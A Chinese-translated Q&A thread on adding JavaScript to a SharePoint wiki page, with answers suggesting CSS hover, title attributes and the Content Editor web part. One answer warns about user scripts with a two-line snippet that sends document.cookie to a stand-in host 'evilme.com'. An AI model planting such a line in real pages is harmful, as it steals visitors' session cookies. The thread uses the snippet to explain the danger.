7

作为 wiki 管理员,我如何将脚本 (Javascript) 输入到 Sharepoint wiki 页面?

我想输入一个标题,点击它时,会在它下面显示一个小说明。我通常用javascript做到这一点,还有其他想法吗?

4

10 回答 10

11

如果维基作者是明智的,那么可能没有办法做到这一点。

用户贡献的 JavaScript 的问题在于它为所有形式的作恶者打开了从毫无戒心的人那里获取数据的大门。

假设 evil-me 在公共网站上发布了一个脚本:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

现在,我将收到每个页面访问者的 cookie 信息,并发布到我的服务器上的日志中。而这只是冰山一角。

于 2008-09-17T21:15:23.287 回答
4

假设您是 wiki 的管理员并且愿意在鼠标悬停而不是单击时显示此内容,那么您根本不需要 javascript——您可以直接使用 CSS。这是样式和标记的示例:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

使用更多涉及的样式,您的工具提示框可以看起来像您想要的一样漂亮。

于 2008-09-17T21:32:39.187 回答
1

这完全取决于您使用的特定 Wiki 软件。我见过的工作方式是在其他地方托管一个 js 文件,然后包含一个带有 src 属性的脚本标签。

如果他们不允许这样做,也许他们允许 IFRAME,您可以将其设置为包含脚本的页面。使用第二种技术,您将无法访问主机页面的 DOM。

于 2008-09-17T21:13:04.930 回答
1

我喜欢 CSS 的答案。当您可以使用 CSS 而不是 Javascript 时,它会导致更简单的标记。
要研究的另一件事是 Codeplex 上 SharePoint 增强 Wiki 版的社区工具包。您可以下载源代码并添加自己的功能。或者您可以在论坛中将此作为新功能提出建议。

于 2008-09-18T02:06:57.017 回答
1

使用内容编辑器 Web 部件

从功能区中,选择Insert并选择Web Part。从菜单中,转到Media and Content并选择Content Editor。从新创建的 webpart 的下拉菜单中,选择Edit Web Part. 从右侧 Webpart 设置菜单中,展开Appearance并设置Chrome TypeNone. 单击Click Here to Add Contentweb 部件并Edit HTML Source在功能区中找到。您可以在此区域中使用 HTML,而无需对其进行清理。

注意:如果您计划向大量页面元素添加行为,您可能希望将 .js 文件上传到样式库并仅<script src="...">在内容编辑器中包含标签。您可能还想研究使用自定义母版或页面布局。

来源:https ://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

于 2019-06-04T16:09:29.877 回答
0

这听起来像一个安全风险。wiki 管理员似乎可以安装脚本,请参阅wikipedia's user scripts

于 2008-09-17T21:10:23.797 回答
0

您应该不能为任何公共 wiki 添加 javascript 代码。如果您自己托管它,那么您需要请求一个特定的 wiki 系统,以便有人可以帮助您修改设置 - 如果该系统可能的话。

于 2008-09-17T21:11:16.540 回答
0

如果您在谈论使用 Javascript 作为本网站网页的一部分,则不能。或任何其他公共维基 - 这是一个安全风险。

如果您要发布代码示例,请单击文本框上方的“101010”按钮。

于 2008-09-17T21:11:37.163 回答
0

当然,这取决于您正在与之交谈的 wiki 引擎。不过,正如 sblundy 所说,最有可能的是,允许在 wiki 页面上免费使用 javascript 会带来安全风险。

于 2008-09-17T21:11:50.050 回答
0

添加title="text here"到任何标签,悬停在其上时应显示文本。
Internet Explorer 会在您使用该alt="text here"属性时显示文本,尽管这不符合标准。

我现在进行了测试,您可以添加<h2 title="some explanation here">headline</h2>到任何基于维基媒体(维基百科使用的系统)的系统。

于 2008-09-17T21:14:55.533 回答